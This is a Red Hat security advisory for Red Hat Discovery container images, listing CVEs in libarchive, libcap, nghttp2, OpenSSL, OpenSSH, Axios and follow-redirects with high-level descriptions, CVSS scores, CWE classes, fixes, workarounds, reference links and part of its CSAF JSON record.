Workaround Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base or stability.

CVE-2026-4424

A flaw was found in libarchive. This heap out-of-bounds read vulnerability exists in the RAR archive processing logic due to improper validation of the LZSS sliding window size after transitions between compression methods. A remote attacker can exploit this by providing a specially crafted RAR archive, leading to the disclosure of sensitive heap memory information without requiring authentication or user interaction.

7.5 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

CWE-125 - Out-of-bounds Read

Vendor Fix The containers required to run Discovery can be installed through discovery-installer RPM. See the official documentation for more details. https://access.redhat.com/errata/RHSA-2026:14937

CVE-2026-4878

A flaw was found in libcap. A local unprivileged user can exploit a Time-of-check-to-time-of-use (TOCTOU) race condition in the `cap_set_file()` function. This allows an attacker with write access to a parent directory to redirect file capability updates to an attacker-controlled file. By doing so, capabilities can be injected into or stripped from unintended executables, leading to privilege escalation.

6.7 (Medium)


                        
                          CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:H/I:H/A:H

CWE-367 - Time-of-check Time-of-use (TOCTOU) Race Condition

Vendor Fix The containers required to run Discovery can be installed through discovery-installer RPM. See the official documentation for more details. https://access.redhat.com/errata/RHSA-2026:14937

CVE-2026-5121

A flaw was found in libarchive. On 32-bit systems, an integer overflow vulnerability exists in the zisofs block pointer allocation logic. A remote attacker can exploit this by providing a specially crafted ISO9660 image, which can lead to a heap buffer overflow. This could potentially allow for arbitrary code execution on the affected system.

7.5 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

CWE-190 - Integer Overflow or Wraparound

Vendor Fix The containers required to run Discovery can be installed through discovery-installer RPM. See the official documentation for more details. https://access.redhat.com/errata/RHSA-2026:14937

Workaround To mitigate this issue, avoid processing untrusted ISO9660 images with applications that utilize `libarchive`. Users should only extract or read content from ISO images obtained from trusted sources.

CVE-2026-27135

A flaw was found in nghttp2. Due to missing internal state validation, the library continues to process incoming data even after a session has been terminated. A remote attacker could exploit this by sending a specially crafted HTTP/2 frame, leading to an assertion failure and a denial of service (DoS).

7.5 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

CWE-617 - Reachable Assertion

Vendor Fix The containers required to run Discovery can be installed through discovery-installer RPM. See the official documentation for more details. https://access.redhat.com/errata/RHSA-2026:14937

CVE-2026-28390

A flaw was found in OpenSSL. A remote attacker could exploit this vulnerability by sending a specially crafted Cryptographic Message Syntax (CMS) EnvelopedData message. During the processing of a KeyTransportRecipientInfo with RSA-OAEP encryption, the system attempts to access an optional parameter field without first verifying its presence. This leads to a NULL pointer dereference, which can cause applications processing the attacker-controlled CMS data to crash, resulting in a Denial of Service (DoS).

7.5 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

CWE-476 - NULL Pointer Dereference

Vendor Fix The containers required to run Discovery can be installed through discovery-installer RPM. See the official documentation for more details. https://access.redhat.com/errata/RHSA-2026:14937

Workaround Applications that process Cryptographic Message Syntax (CMS) EnvelopedData messages should be configured to only accept input from trusted sources. Restricting network access to services that process untrusted CMS data can also reduce exposure to this Denial of Service vulnerability.

CVE-2026-35385

A flaw was found in OpenSSH. When the `scp` command is used by a root user to download a file with the legacy protocol option (`-O`) and without preserving original file permissions (`-p`), the downloaded file can be installed with elevated privileges (setuid or setgid). This unexpected behavior could allow a malicious file to execute with higher permissions than intended, posing a security risk through potential privilege escalation.

7.5 (High)


                        
                          CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H

CWE-281 - Improper Preservation of Permissions

Vendor Fix The containers required to run Discovery can be installed through discovery-installer RPM. See the official documentation for more details. https://access.redhat.com/errata/RHSA-2026:14937

CVE-2026-35386

A flaw was found in OpenSSH. This vulnerability allows a remote attacker to achieve arbitrary command execution by injecting shell metacharacters into a username provided on the command line. Exploitation requires an untrusted username and a non-default configuration of the '%' character in `ssh_config`.

3.6 (Low)


                        
                          CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:N

CWE-78 - Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

Vendor Fix The containers required to run Discovery can be installed through discovery-installer RPM. See the official documentation for more details. https://access.redhat.com/errata/RHSA-2026:14937

CVE-2026-35387

A flaw was found in OpenSSH. This vulnerability allows the system to use unintended Elliptic Curve Digital Signature Algorithm (ECDSA) algorithms. This occurs because the configuration for accepted public key algorithms is misinterpreted, leading to the use of weaker cryptographic methods than intended. This could potentially allow an attacker to compromise the confidentiality of data.

3.1 (Low)


                        
                          CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:N

CWE-115 - Misinterpretation of Input

Vendor Fix The containers required to run Discovery can be installed through discovery-installer RPM. See the official documentation for more details. https://access.redhat.com/errata/RHSA-2026:14937

CVE-2026-35388

A flaw was found in OpenSSH. This vulnerability allows for a low integrity impact due to the omission of connection multiplexing confirmation for proxy-mode multiplexing sessions. A local user, under specific and complex conditions requiring user interaction, could potentially establish a multiplexed session without explicit confirmation, leading to unintended data handling.

2.2 (Low)


                        
                          CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:N/I:L/A:N

CWE-306 - Missing Authentication for Critical Function

Vendor Fix The containers required to run Discovery can be installed through discovery-installer RPM. See the official documentation for more details. https://access.redhat.com/errata/RHSA-2026:14937

CVE-2026-35414

A flaw was found in OpenSSH. This vulnerability arises from the incorrect handling of the authorized_keys principals option in uncommon scenarios. Specifically, when a principals list is used with a Certificate Authority that includes comma characters, OpenSSH may misinterpret the input. This could lead to security bypasses, potentially allowing unintended access or information disclosure in specific authentication contexts.

4.8 (Medium)


                        
                          CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N

CWE-168 - Improper Handling of Inconsistent Special Elements

Vendor Fix The containers required to run Discovery can be installed through discovery-installer RPM. See the official documentation for more details. https://access.redhat.com/errata/RHSA-2026:14937

CVE-2026-40175

A flaw was found in Axios, a promise-based HTTP client. This vulnerability, known as Prototype Pollution, can be exploited through a specific "Gadget" attack chain. This allows an attacker to escalate a Prototype Pollution vulnerability in a third-party dependency, potentially leading to remote code execution or a full cloud compromise, such as bypassing AWS IMDSv2.

9.0 (Critical)


                        
                          CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H

CWE-915 - Improperly Controlled Modification of Dynamically-Determined Object Attributes

Vendor Fix The containers required to run Discovery can be installed through discovery-installer RPM. See the official documentation for more details. https://access.redhat.com/errata/RHSA-2026:14937

CVE-2026-40895

A flaw was found in follow-redirects. When an HTTP request follows a cross-domain redirect (a redirection to a different domain), custom authentication headers, such as X-API-Key or X-Auth-Token, are not properly stripped. This allows these sensitive headers to be forwarded verbatim to the redirect target, potentially leading to the unintended disclosure of authentication information to an untrusted third party.

7.5 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

CWE-212 - Improper Removal of Sensitive Information Before Storage or Transfer

Vendor Fix The containers required to run Discovery can be installed through discovery-installer RPM. See the official documentation for more details. https://access.redhat.com/errata/RHSA-2026:14937

CVE-2026-42033

A flaw was found in Axios, an HTTP client library. This vulnerability allows an attacker to exploit a prototype pollution issue if another part of the application has already polluted the Object.prototype. By doing so, the attacker can intercept and modify JSON responses or take control of the HTTP communication. This could lead to unauthorized access to sensitive information like user credentials and request details.

7.4 (High)


                        
                          CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N

CWE-915 - Improperly Controlled Modification of Dynamically-Determined Object Attributes

Vendor Fix The containers required to run Discovery can be installed through discovery-installer RPM. See the official documentation for more details. https://access.redhat.com/errata/RHSA-2026:14937

CVE-2026-42035

A flaw was found in Axios, a software library for making network requests. A remote attacker can exploit a prototype pollution vulnerability to inject arbitrary HTTP headers into outgoing requests. This occurs when the application's core object definitions are manipulated, causing Axios to misinterpret data and include attacker-controlled headers in network communications. This could lead to unauthorized actions or data manipulation.

7.4 (High)


                        
                          CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N

CWE-915 - Improperly Controlled Modification of Dynamically-Determined Object Attributes

Vendor Fix The containers required to run Discovery can be installed through discovery-installer RPM. See the official documentation for more details. https://access.redhat.com/errata/RHSA-2026:14937

CVE-2026-42039

A flaw was found in Axios, a promise-based HTTP client for browsers and Node.js. This vulnerability occurs because the `toFormData` function recursively processes nested objects without a depth limit. A remote attacker can exploit this by sending deeply nested request data, which causes the Node.js process to crash due to a RangeError, leading to a potential Denial of Service (DoS) if the process crashes.

7.5 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

CWE-770 - Allocation of Resources Without Limits or Throttling

Vendor Fix The containers required to run Discovery can be installed through discovery-installer RPM. See the official documentation for more details. https://access.redhat.com/errata/RHSA-2026:14937

CVE-2026-42041

A flaw was found in Axios, a promise-based HTTP client. This vulnerability, a Prototype Pollution "Gadget" attack, allows an attacker to manipulate the `Object.prototype.validateStatus` property. By polluting this property, all HTTP error responses (such as 401, 403, or 500) are silently treated as successful responses. This can lead to a complete bypass of application-level authentication and error handling, potentially granting unauthorized access.

8.2 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N

CWE-915 - Improperly Controlled Modification of Dynamically-Determined Object Attributes

Vendor Fix The containers required to run Discovery can be installed through discovery-installer RPM. See the official documentation for more details. https://access.redhat.com/errata/RHSA-2026:14937

CVE-2026-42043

A flaw was found in Axios, a promise-based HTTP client. An attacker who can control the destination address of an Axios request can exploit this vulnerability. By using specific internal network addresses (within the 127.0.0.0/8 range, excluding 127.0.0.1), the attacker can completely bypass the NO_PROXY protection, potentially leading to unauthorized access or information disclosure within the network. This issue is an incomplete fix for a previous vulnerability.

7.2 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N

CWE-918 - Server-Side Request Forgery (SSRF)

Vendor Fix The containers required to run Discovery can be installed through discovery-installer RPM. See the official documentation for more details. https://access.redhat.com/errata/RHSA-2026:14937

References

URL

Category

	https://access.redhat.com/errata/RHSA-2026:14937	self
	https://access.redhat.com/security/cve/CVE-2025-62718	external
	https://access.redhat.com/security/cve/CVE-2026-27135	external
	https://access.redhat.com/security/cve/CVE-2026-28390	external
	https://access.redhat.com/security/cve/CVE-2026-35385	external
	https://access.redhat.com/security/cve/CVE-2026-35386	external
	https://access.redhat.com/security/cve/CVE-2026-35387	external
	https://access.redhat.com/security/cve/CVE-2026-35388	external
	https://access.redhat.com/security/cve/CVE-2026-35414	external
	https://access.redhat.com/security/cve/CVE-2026-40175	external
	https://access.redhat.com/security/cve/CVE-2026-40895	external
	https://access.redhat.com/security/cve/CVE-2026-42033	external
	https://access.redhat.com/security/cve/CVE-2026-42035	external
	https://access.redhat.com/security/cve/CVE-2026-42039	external
	https://access.redhat.com/security/cve/CVE-2026-42041	external
	https://access.redhat.com/security/cve/CVE-2026-42043	external
	https://access.redhat.com/security/cve/CVE-2026-4424	external
	https://access.redhat.com/security/cve/CVE-2026-4878	external
	https://access.redhat.com/security/cve/CVE-2026-5121	external
	https://access.redhat.com/security/updates/classi…	external
	https://docs.redhat.com/en/documentation/subscrip…	external
	https://security.access.redhat.com/data/csaf/v2/a…	self
	https://access.redhat.com/security/cve/CVE-2025-62718	self
	https://bugzilla.redhat.com/show_bug.cgi?id=2456913	external
	https://www.cve.org/CVERecord?id=CVE-2025-62718	external
	https://nvd.nist.gov/vuln/detail/CVE-2025-62718	external
	https://datatracker.ietf.org/doc/html/rfc1034#sec…	external
	https://datatracker.ietf.org/doc/html/rfc3986#sec…	external
	https://github.com/axios/axios/commit/fb3befb6daa…	external
	https://github.com/axios/axios/pull/10661	external
	https://github.com/axios/axios/releases/tag/v1.15.0	external
	https://github.com/axios/axios/security/advisorie…	external
	https://access.redhat.com/security/cve/CVE-2026-4424	self
	https://bugzilla.redhat.com/show_bug.cgi?id=2449006	external
	https://www.cve.org/CVERecord?id=CVE-2026-4424	external
	https://nvd.nist.gov/vuln/detail/CVE-2026-4424	external
	https://github.com/libarchive/libarchive/pull/2898	external
	https://access.redhat.com/security/cve/CVE-2026-4878	self
	https://bugzilla.redhat.com/show_bug.cgi?id=2451615	external
	https://www.cve.org/CVERecord?id=CVE-2026-4878	external
	https://nvd.nist.gov/vuln/detail/CVE-2026-4878	external
	https://bugzilla.redhat.com/show_bug.cgi?id=2447554	external
	https://access.redhat.com/security/cve/CVE-2026-5121	self
	https://bugzilla.redhat.com/show_bug.cgi?id=2452945	external
	https://www.cve.org/CVERecord?id=CVE-2026-5121	external
	https://nvd.nist.gov/vuln/detail/CVE-2026-5121	external
	https://github.com/advisories/GHSA-2vwv-vqpv-v8vc	external
	https://github.com/libarchive/libarchive/pull/2934	external
	https://access.redhat.com/security/cve/CVE-2026-27135	self
	https://bugzilla.redhat.com/show_bug.cgi?id=2448754	external
	https://www.cve.org/CVERecord?id=CVE-2026-27135	external
	https://nvd.nist.gov/vuln/detail/CVE-2026-27135	external
	https://github.com/nghttp2/nghttp2/commit/5c7df8f…	external
	https://github.com/nghttp2/nghttp2/security/advis…	external
	https://access.redhat.com/security/cve/CVE-2026-28390	self
	https://bugzilla.redhat.com/show_bug.cgi?id=2456314	external
	https://www.cve.org/CVERecord?id=CVE-2026-28390	external
	https://nvd.nist.gov/vuln/detail/CVE-2026-28390	external
	https://github.com/openssl/openssl/commit/01194a8…	external
	https://github.com/openssl/openssl/commit/2e39b7a…	external
	https://github.com/openssl/openssl/commit/af2a5fe…	external
	https://github.com/openssl/openssl/commit/ea7b4ea…	external
	https://github.com/openssl/openssl/commit/fd2f1a6…	external
	https://openssl-library.org/news/secadv/20260407.txt	external
	https://access.redhat.com/security/cve/CVE-2026-35385	self
	https://bugzilla.redhat.com/show_bug.cgi?id=2454469	external
	https://www.cve.org/CVERecord?id=CVE-2026-35385	external
	https://nvd.nist.gov/vuln/detail/CVE-2026-35385	external
	https://marc.info/?l=openssh-unix-dev&m=177513443…	external
	https://www.openssh.org/releasenotes.html#10.3p1	external
	https://www.openwall.com/lists/oss-security/2026/…	external
	https://access.redhat.com/security/cve/CVE-2026-35386	self
	https://bugzilla.redhat.com/show_bug.cgi?id=2454506	external
	https://www.cve.org/CVERecord?id=CVE-2026-35386	external
	https://nvd.nist.gov/vuln/detail/CVE-2026-35386	external
	https://access.redhat.com/security/cve/CVE-2026-35387	self
	https://bugzilla.redhat.com/show_bug.cgi?id=2454494	external
	https://www.cve.org/CVERecord?id=CVE-2026-35387	external
	https://nvd.nist.gov/vuln/detail/CVE-2026-35387	external
	https://access.redhat.com/security/cve/CVE-2026-35388	self
	https://bugzilla.redhat.com/show_bug.cgi?id=2454500	external
	https://www.cve.org/CVERecord?id=CVE-2026-35388	external
	https://nvd.nist.gov/vuln/detail/CVE-2026-35388	external
	https://access.redhat.com/security/cve/CVE-2026-35414	self
	https://bugzilla.redhat.com/show_bug.cgi?id=2454490	external
	https://www.cve.org/CVERecord?id=CVE-2026-35414	external
	https://nvd.nist.gov/vuln/detail/CVE-2026-35414	external
	https://access.redhat.com/security/cve/CVE-2026-40175	self
	https://bugzilla.redhat.com/show_bug.cgi?id=2457432	external
	https://www.cve.org/CVERecord?id=CVE-2026-40175	external
	https://nvd.nist.gov/vuln/detail/CVE-2026-40175	external
	https://github.com/axios/axios/commit/363185461b9…	external
	https://github.com/axios/axios/pull/10660	external
	https://github.com/axios/axios/security/advisorie…	external
	https://access.redhat.com/security/cve/CVE-2026-40895	self
	https://bugzilla.redhat.com/show_bug.cgi?id=2460297	external
	https://www.cve.org/CVERecord?id=CVE-2026-40895	external
	https://nvd.nist.gov/vuln/detail/CVE-2026-40895	external
	https://github.com/follow-redirects/follow-redire…	external
	https://access.redhat.com/security/cve/CVE-2026-42033	self
	https://bugzilla.redhat.com/show_bug.cgi?id=2461607	external
	https://www.cve.org/CVERecord?id=CVE-2026-42033	external
	https://nvd.nist.gov/vuln/detail/CVE-2026-42033	external
	https://github.com/axios/axios/security/advisorie…	external
	https://access.redhat.com/security/cve/CVE-2026-42035	self
	https://bugzilla.redhat.com/show_bug.cgi?id=2461606	external
	https://www.cve.org/CVERecord?id=CVE-2026-42035	external
	https://nvd.nist.gov/vuln/detail/CVE-2026-42035	external
	https://github.com/axios/axios/security/advisorie…	external
	https://access.redhat.com/security/cve/CVE-2026-42039	self
	https://bugzilla.redhat.com/show_bug.cgi?id=2461630	external
	https://www.cve.org/CVERecord?id=CVE-2026-42039	external
	https://nvd.nist.gov/vuln/detail/CVE-2026-42039	external
	https://github.com/axios/axios/security/advisorie…	external
	https://access.redhat.com/security/cve/CVE-2026-42041	self
	https://bugzilla.redhat.com/show_bug.cgi?id=2461629	external
	https://www.cve.org/CVERecord?id=CVE-2026-42041	external
	https://nvd.nist.gov/vuln/detail/CVE-2026-42041	external
	https://github.com/axios/axios/security/advisorie…	external
	https://access.redhat.com/security/cve/CVE-2026-42043	self
	https://bugzilla.redhat.com/show_bug.cgi?id=2461626	external
	https://www.cve.org/CVERecord?id=CVE-2026-42043	external
	https://nvd.nist.gov/vuln/detail/CVE-2026-42043	external
	https://github.com/axios/axios/security/advisorie…	external

Acknowledgments

Elhanan Haenel

Ali Raza

JSON

To clipboard

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        "text": "A Subscription Management tool for finding and reporting Red Hat product usage",
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          "title": "Statement"
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          "text": "A flaw was found in libcap. A local unprivileged user can exploit a Time-of-check-to-time-of-use (TOCTOU) race condition in the `cap_set_file()` function. This allows an attacker with write access to a parent directory to redirect file capability updates to an attacker-controlled file. By doing so, capabilities can be injected into or stripped from unintended executables, leading to privilege escalation.",
          "title": "Vulnerability description"
        },
        {
          "category": "summary",
          "text": "libcap: libcap: Privilege escalation via TOCTOU race condition in cap_set_file()",
          "title": "Vulnerability summary"
        },
        {
          "category": "other",
          "text": "This is an Important flaw. A Time-of-Check-to-Time-of-Use (TOCTOU) race condition in libcap\u0027s cap_set_file() allows a local unprivileged user to escalate privileges. An attacker with write access to a parent directory can exploit a narrow window during file capability updates to redirect capabilities to an attacker-controlled file. This can lead to the injection of elevated privileges into an unintended executable when privileged processes, such as setcap or container tooling, invoke cap_set_file() on attacker-influenced paths.",
          "title": "Statement"
        },
        {
          "category": "general",
          "text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
          "title": "CVSS score applicability"
        }
      ],
      "product_status": {
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          "category": "external",
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          "category": "external",
          "summary": "https://www.cve.org/CVERecord?id=CVE-2026-4878",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-4878"
        },
        {
          "category": "external",
          "summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-4878",
          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-4878"
        },
        {
          "category": "external",
          "summary": "https://bugzilla.redhat.com/show_bug.cgi?id=2447554",
          "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2447554"
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      "release_date": "2026-04-06T00:00:00+00:00",
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        {
          "category": "vendor_fix",
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            "Red Hat Discovery 2:registry.redhat.io/discovery/discovery-ui-rhel9@sha256:01916a5cf8a81464cabb2e17ba255fe5006b5c25b25384451f483dd792c9d332_arm64",
            "Red Hat Discovery 2:registry.redhat.io/discovery/discovery-ui-rhel9@sha256:f9501b8c84455926684633536c60b86d11ba58305764cabc64ff4034fcfd1e1d_amd64"
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            "category": "none"
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        {
          "category": "workaround",
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          "product_ids": [
            "Red Hat Discovery 2:registry.redhat.io/discovery/discovery-server-rhel9@sha256:14ec7040666af93b0f95adca24dd3c95962fcd28623f9acadfae115b38b49d61_arm64",
            "Red Hat Discovery 2:registry.redhat.io/discovery/discovery-server-rhel9@sha256:3fa38f1ea595af86bc785d2899dbd3aa0694b4f94664481e5eef71b49dbf156b_amd64",
            "Red Hat Discovery 2:registry.redhat.io/discovery/discovery-ui-rhel9@sha256:01916a5cf8a81464cabb2e17ba255fe5006b5c25b25384451f483dd792c9d332_arm64",
            "Red Hat Discovery 2:registry.redhat.io/discovery/discovery-ui-rhel9@sha256:f9501b8c84455926684633536c60b86d11ba58305764cabc64ff4034fcfd1e1d_amd64"
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        {
          "cvss_v3": {
            "attackComplexity": "HIGH",
            "attackVector": "LOCAL",
            "availabilityImpact": "HIGH",
            "baseScore": 6.7,
            "baseSeverity": "MEDIUM",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "HIGH",
            "privilegesRequired": "LOW",
            "scope": "UNCHANGED",
            "userInteraction": "REQUIRED",
            "vectorString": "CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:H/I:H/A:H",
            "version": "3.1"
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          "products": [
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            "Red Hat Discovery 2:registry.redhat.io/discovery/discovery-server-rhel9@sha256:3fa38f1ea595af86bc785d2899dbd3aa0694b4f94664481e5eef71b49dbf156b_amd64",
            "Red Hat Discovery 2:registry.redhat.io/discovery/discovery-ui-rhel9@sha256:01916a5cf8a81464cabb2e17ba255fe5006b5c25b25384451f483dd792c9d332_arm64",
            "Red Hat Discovery 2:registry.redhat.io/discovery/discovery-ui-rhel9@sha256:f9501b8c84455926684633536c60b86d11ba58305764cabc64ff4034fcfd1e1d_amd64"
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          "category": "impact",
          "details": "Important"
        }
      ],
      "title": "libcap: libcap: Privilege escalation via TOCTOU race condition in cap_set_file()"
    },
    {
      "acknowledgments": [
        {
          "names": [
            "Elhanan Haenel"
          ]
        }
      ],
      "cve": "CVE-2026-5121",
      "cwe": {
        "id": "CWE-190",
        "name": "Integer Overflow or Wraparound"
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      "discovery_date": "2026-03-30T07:40:25.358335+00:00",
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          "label": "vulnerable_code_not_present",
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            "Red Hat Discovery 2:registry.redhat.io/discovery/discovery-server-rhel9@sha256:3fa38f1ea595af86bc785d2899dbd3aa0694b4f94664481e5eef71b49dbf156b_amd64"
          ]
        }
      ],
      "ids": [
        {
          "system_name": "Red Hat Bugzilla ID",
          "text": "2452945"
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      ],
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        {
          "category": "description",
          "text": "A flaw was found in libarchive. On 32-bit systems, an integer overflow vulnerability exists in the zisofs block pointer allocation logic. A remote attacker can exploit this by providing a specially crafted ISO9660 image, which can lead to a heap buffer overflow. This could potentially allow for arbitrary code execution on the affected system.",
          "title": "Vulnerability description"
        },
        {
          "category": "summary",
          "text": "libarchive: libarchive: Arbitrary code execution via integer overflow in ISO9660 image processing",
          "title": "Vulnerability summary"
        },
        {
          "category": "other",
          "text": "Important: An integer overflow flaw in `libarchive` on 32-bit systems can lead to a heap buffer overflow. This vulnerability occurs when processing a specially crafted ISO9660 image, allowing an attacker to potentially execute arbitrary code. Red Hat Enterprise Linux 64-bit systems are not affected by this flaw.",
          "title": "Statement"
        },
        {
          "category": "general",
          "text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
          "title": "CVSS score applicability"
        }
      ],
      "product_status": {
        "fixed": [
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          "summary": "https://www.cve.org/CVERecord?id=CVE-2026-5121",
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        {
          "category": "external",
          "summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-5121",
          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-5121"
        },
        {
          "category": "external",
          "summary": "https://github.com/advisories/GHSA-2vwv-vqpv-v8vc",
          "url": "https://github.com/advisories/GHSA-2vwv-vqpv-v8vc"
        },
        {
          "category": "external",
          "summary": "https://github.com/libarchive/libarchive/pull/2934",
          "url": "https://github.com/libarchive/libarchive/pull/2934"
        }
      ],
      "release_date": "2026-03-30T07:44:15.222000+00:00",
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          "category": "vendor_fix",
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          ],
          "restart_required": {
            "category": "none"
          },
          "url": "https://access.redhat.com/errata/RHSA-2026:14937"
        },
        {
          "category": "workaround",
          "details": "To mitigate this issue, avoid processing untrusted ISO9660 images with applications that utilize `libarchive`. Users should only extract or read content from ISO images obtained from trusted sources.",
          "product_ids": [
            "Red Hat Discovery 2:registry.redhat.io/discovery/discovery-server-rhel9@sha256:14ec7040666af93b0f95adca24dd3c95962fcd28623f9acadfae115b38b49d61_arm64",
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            "availabilityImpact": "NONE",
            "baseScore": 7.5,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "NONE",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
            "version": "3.1"
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            "Red Hat Discovery 2:registry.redhat.io/discovery/discovery-server-rhel9@sha256:3fa38f1ea595af86bc785d2899dbd3aa0694b4f94664481e5eef71b49dbf156b_amd64",
            "Red Hat Discovery 2:registry.redhat.io/discovery/discovery-ui-rhel9@sha256:01916a5cf8a81464cabb2e17ba255fe5006b5c25b25384451f483dd792c9d332_arm64",
            "Red Hat Discovery 2:registry.redhat.io/discovery/discovery-ui-rhel9@sha256:f9501b8c84455926684633536c60b86d11ba58305764cabc64ff4034fcfd1e1d_amd64"
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          "category": "impact",
          "details": "Moderate"
        }
      ],
      "title": "libarchive: libarchive: Arbitrary code execution via integer overflow in ISO9660 image processing"
    },
    {
      "cve": "CVE-2026-27135",
      "cwe": {
        "id": "CWE-617",
        "name": "Reachable Assertion"
      },
      "discovery_date": "2026-03-18T19:02:13.823002+00:00",
      "ids": [
        {
          "system_name": "Red Hat Bugzilla ID",
          "text": "2448754"
        }
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      "notes": [
        {
          "category": "description",
          "text": "A flaw was found in nghttp2. Due to missing internal state validation, the library continues to process incoming data even after a session has been terminated. A remote attacker could exploit this by sending a specially crafted HTTP/2 frame, leading to an assertion failure and a denial of service (DoS).",
          "title": "Vulnerability description"
        },
        {
          "category": "summary",
          "text": "nghttp2: nghttp2: Denial of Service via malformed HTTP/2 frames after session termination",
          "title": "Vulnerability summary"
        },
        {
          "category": "general",
          "text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
          "title": "CVSS score applicability"
        }
      ],
      "product_status": {
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          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-27135"
        },
        {
          "category": "external",
          "summary": "https://github.com/nghttp2/nghttp2/commit/5c7df8fa815ac1004d9ecb9d1f7595c4d37f46e1",
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            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
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          "details": "Important"
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      "title": "nghttp2: nghttp2: Denial of Service via malformed HTTP/2 frames after session termination"
    },
    {
      "cve": "CVE-2026-28390",
      "cwe": {
        "id": "CWE-476",
        "name": "NULL Pointer Dereference"
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      "discovery_date": "2026-04-07T23:01:18.313921+00:00",
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      "ids": [
        {
          "system_name": "Red Hat Bugzilla ID",
          "text": "2456314"
        }
      ],
      "notes": [
        {
          "category": "description",
          "text": "A flaw was found in OpenSSL. A remote attacker could exploit this vulnerability by sending a specially crafted Cryptographic Message Syntax (CMS) EnvelopedData message. During the processing of a KeyTransportRecipientInfo with RSA-OAEP encryption, the system attempts to access an optional parameter field without first verifying its presence. This leads to a NULL pointer dereference, which can cause applications processing the attacker-controlled CMS data to crash, resulting in a Denial of Service (DoS).",
          "title": "Vulnerability description"
        },
        {
          "category": "summary",
          "text": "openssl: OpenSSL: Denial of Service due to NULL pointer dereference in CMS EnvelopedData processing",
          "title": "Vulnerability summary"
        },
        {
          "category": "general",
          "text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
          "title": "CVSS score applicability"
        }
      ],
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        ],
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          "Red Hat Discovery 2:registry.redhat.io/discovery/discovery-ui-rhel9@sha256:f9501b8c84455926684633536c60b86d11ba58305764cabc64ff4034fcfd1e1d_amd64"
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        {
          "category": "self",
          "summary": "Canonical URL",
          "url": "https://access.redhat.com/security/cve/CVE-2026-28390"
        },
        {
          "category": "external",
          "summary": "RHBZ#2456314",
          "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2456314"
        },
        {
          "category": "external",
          "summary": "https://www.cve.org/CVERecord?id=CVE-2026-28390",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-28390"
        },
        {
          "category": "external",
          "summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-28390",
          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-28390"
        },
        {
          "category": "external",
          "summary": "https://github.com/openssl/openssl/commit/01194a8f1941115cd0383bfa91c736dd3993c8bc",
          "url": "https://github.com/openssl/openssl/commit/01194a8f1941115cd0383bfa91c736dd3993c8bc"
        },
        {
          "category": "external",
          "summary": "https://github.com/openssl/openssl/commit/2e39b7a6993be445fddb9fbce316fa756e0397b6",
          "url": "https://github.com/openssl/openssl/commit/2e39b7a6993be445fddb9fbce316fa756e0397b6"
        },
        {
          "category": "external",
          "summary": "https://github.com/openssl/openssl/commit/af2a5fecd3e71a29e7568f9c1453dec5cebbaff4",
          "url": "https://github.com/openssl/openssl/commit/af2a5fecd3e71a29e7568f9c1453dec5cebbaff4"
        },
        {
          "category": "external",
          "summary": "https://github.com/openssl/openssl/commit/ea7b4ea4f9f853521ba34830cbcadc970d2e0788",
          "url": "https://github.com/openssl/openssl/commit/ea7b4ea4f9f853521ba34830cbcadc970d2e0788"
        },
        {
          "category": "external",
          "summary": "https://github.com/openssl/openssl/commit/fd2f1a6cf53b9ceeca723a001aa4b825d7c7ee75",
          "url": "https://github.com/openssl/openssl/commit/fd2f1a6cf53b9ceeca723a001aa4b825d7c7ee75"
        },
        {
          "category": "external",
          "summary": "https://openssl-library.org/news/secadv/20260407.txt",
          "url": "https://openssl-library.org/news/secadv/20260407.txt"
        }
      ],
